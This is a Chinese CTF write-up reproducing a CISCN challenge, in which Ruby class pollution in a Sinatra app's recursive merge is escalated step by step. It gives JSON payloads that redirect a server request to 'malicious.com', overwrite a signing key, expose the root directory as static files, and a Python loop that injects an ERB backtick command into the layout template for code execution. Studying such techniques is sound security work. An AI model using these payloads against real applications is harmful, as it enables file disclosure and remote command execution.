前言
这题场上没做出来,正好近年的 CISCN 要开了所以复现一下。好久没 CTF 了,来道题练练手。
对 Ruby 不太熟悉,感觉这个语言好丑。 由于 VS Code 上的 Ruby 插件有点难用(主要是代码跳转不太好用,尤其是依赖库代码的跳转经常失效,可能是我不会配置),这里用 JetBrains 的 RubyMine 来进行调试。
源码
# frozen_string_literal: true
require 'json'
require 'sinatra/base'
require 'net/http'
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
def merge_with(additional)
recursive_merge(self, additional)
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
if current_obj.is_a?(Hash)
current_obj[key] = value
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
set :bind , '0.0.0.0'
set :port , '8888'
post '/merge' do
content_type :json
j_str = request.body.read
return "try try try" if j_str.include?("\\") || j_str.include?("h")
json_input = JSON.parse(j_str, symbolize_names: true)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
get '/sign_with_subclass_key' do
content_type :json
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
get('/') do
erb :hello
end
run! if app_file == $0
end
继承链上的类污染
可以看到代码内容很简单,熟悉 JavaScript 原型链污染漏洞的同学可以看出来,这是 Ruby 风格的原型链污染漏洞,搜索相关文章可以找到 这篇文章 ,就连代码都几乎一模一样。
在 Person 类中定义了 merge_with 和 recursive_merge 方法,作用是将 additional 对象中的属性合并到当前的实例中。
- 遍历
additional对象中的每个键值对。 - 处理嵌套的哈希:如果值是一个哈希,它会检查
current_obj(初始为original)是否响应该键。如果响应,则递归合并嵌套的哈希。如果不响应,则创建一个新对象,将其设置为实例变量,并为其创建访问器。 - 处理非哈希值:如果值不是哈希,则直接在
current_obj上设置该值为实例变量,并为其创建访问器。
懂得 recursive_merge 函数的原理后,我们来理解一下文章中 Escaping the Object to Poison the Class 一节的 Payload:
我们可以使用下面的 Payload 请求 /merge 端点,从而污染 Person.url:
{
"class": {
"superclass": {
"url": "HTTP://malicious.com"
}
}
}
我们再回来看看代码,首先在 Person 类中用 @@url 来定义了一个类变量,Ruby 中类变量类似 Java 中的 static 变量,不过会在继承链中共享同一个变量。(BTW:Ruby 中所有的属性实际上都是通过方法 getter, setter 实现的,所以这里其实应该称作类方法。)
通过下面的两行代码为 current_obj 设置一个实例变量(如果 current_obj 是 Class 类型的,则会设置一个类变量):

每次循环会通过 public_send 方法调用对象内部为 key 的方法(虽然称作方法,但是也能通过 setter 方法获取到属性,原因和上面的一样)。
经过上面的铺垫,我们应该已经了解了上面 Payload 的原理:我们通过 user.class.superclass 获取到了父类 Person 的 Class,然后设置其 url 进行污染。
任意类类污染
上面的这个 Payload 还是比较简单易懂的,但是弄懂它背后的原理对于我们接下来了解任意类的类污染有比较大的帮助。
首先我们来简单了解一下 Ruby 的类系统,它和 Java 的类系统有一些类似之处:所有类都几乎间接继承自基类 BasicObject,而 BasicObject 之下的 Object 类几乎是所有类的父类。这也就是说,我们可以通过 Object.subclasses 来获取所有类。
但是通过 Object.subclasses 获取的结果是一个数组,我们该如何对其中的一个元素进行修改呢?我们回忆一下上面的 recursive_merge 函数,可以看到里面是通过 public_send 函数来调用对象中的方法的。

并且我们调用的方法名是可控的, 这也就是说我们可以执行对象中的任意方法。不过对方法的要求是无参的,因为我们不能传入任何参数。
对于 Ruby 中的 Array 类型,我们有一个 sample 方法可以随机抽样其中的一个元素。并且 sample 方法可以以无参的形式被调用,满足我们的要求。
所以在 subclasses 足够小的情况下,我们可以通过进行大量的 sample 操作,最后总有可能获取到我们需要修改的类。这就是原文中污染任意类的原理。
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key4"}}}}}}' http://localhost:8888/merge --silent > /dev/null; done
{
"class": {
"superclass": {
"superclass": {
"subclasses": {
"sample": {
"signing_key": "injected-signing-key"
}
}
}
}
}
}
经过大量的随机抽样后,我们可以发现 KeySigner 中的 signing_key 类变量被修改了,成功地进行了类污染。
LFI in Sinatra
接下来就要思考下怎么利用这个漏洞了,最简单的方法是尝试构造一个文件读取漏洞。
场上是想着去修改 Sinatra 的默认静态文件目录 ./public 为根目录从而得到 Flag 的,不过场上没做出来就是。赛后我们来看看如何修改。
首先我们在项目目录下创建 ./public/a.txt 文件,内容为 no polluted。
首先我们直接访问路径下 a.txt ,可以看到是正常的文件。

我们研究一下 Sinatra 框架中有什么可以利用的东西。通过阅读源码我们可以知道,静态目录的路径是由 public_folder 属性决定的。也就是说,我们只要修改这个 public_folder 即可。

我们跟进一下 set 方法,在最后使用了 define_singleton 方法:


这个方法会在当前类的 singleton_class 中定义一个新属性。所以我们可以通过 JSONMergerApp.public_folder 来访问到定义的 public_folder 属性:

所以我们可以进行一个污染:
{
"class": {
"superclass": {
"superclass": {
"subclasses": {
"sample": {
"subclasses": {
"sample": {
"public_folder": "/"
}
}
}
}
}
}
}
}
这里我们套了两层 subclasses 的 Payload,第一个用于获取 Sinatra::Base 类,第二个用于获取 JSONMergerApp 类。网上的 WP 只有第一层,直接污染 Sinatra::Base 的属性,但是实测跑通后无法访问静态文件夹,不知道原因(跑通后 JSONMergerApp 的 public_folder 属性消失了,static 属性也变成了 false,可能有些神奇的继承链问题吧)。


plz rce?
听说第一步出来的队伍读到的 Flag 是 plz rce …… 那么我们就看看怎么利用类污染来实现 RCE 吧。
其实对比源码可以发现题目多了个路由 / ,是返回 hello.erb 模板渲染后的网页的(不过我忘记原题有没有这个 hello.erb 文件了)。那么我们是不是可以大胆猜想,既然我们可以污染任意变量,是不是我们也可以污染运行的程序中的保存的模板达到命令执行的目的呢?
我们来看看 Sinatra 怎么解析 erb 模板的:

进入了 compile_template 方法:

我们来看一下第 903 行,我们可以通过类污染控制 templates 属性,从而控制渲染的模板。

但是这么做会有一个问题,这个函数中传入的 data 参数为 :hello,而我们的题目会检测传入的数据中是否含 h 或 \ 字符:

也就是说我们也不能使用转义之类的方法来绕过。尝试 Unicode 归一化、编码绕过等方式也无果,也不清楚 Ruby 底层会不会有什么 tricks,所以最好的办法是另寻一条攻击路径。
我们回到 render 方法来看看,在模板渲染完会进一步渲染 layout:

而 layout 会从 @default_layout ,也就是 :layout 属性中获取:

所以我们可以转为设置 layout 的模板,从而绕过对字符的限制:
import requests
import json
url = "http://localhost:8888/merge"
infected_vars = {
"templates": {
"layout": "<%= `kcalc` %>"
}
}
payload = '''
{
"class": {
"superclass": {
"superclass": {
"subclasses": {
"sample": {
"subclasses": {
"sample":
''' + json.dumps(infected_vars) + \
'''
}
}
}
}
}
}
}
'''
for i in range(0, 1000):
requests.post(url, headers={
"Content-Type": "application/json"
}, data=payload)
污染后请求 / 路由触发:

后记
网上找到一篇 WP,可惜复现不出来,后面发现原文 Payload 是错的,并且去掉了原题中的字符限制,还是得多思考。
Ruby 真 TM 是个神奇的语言。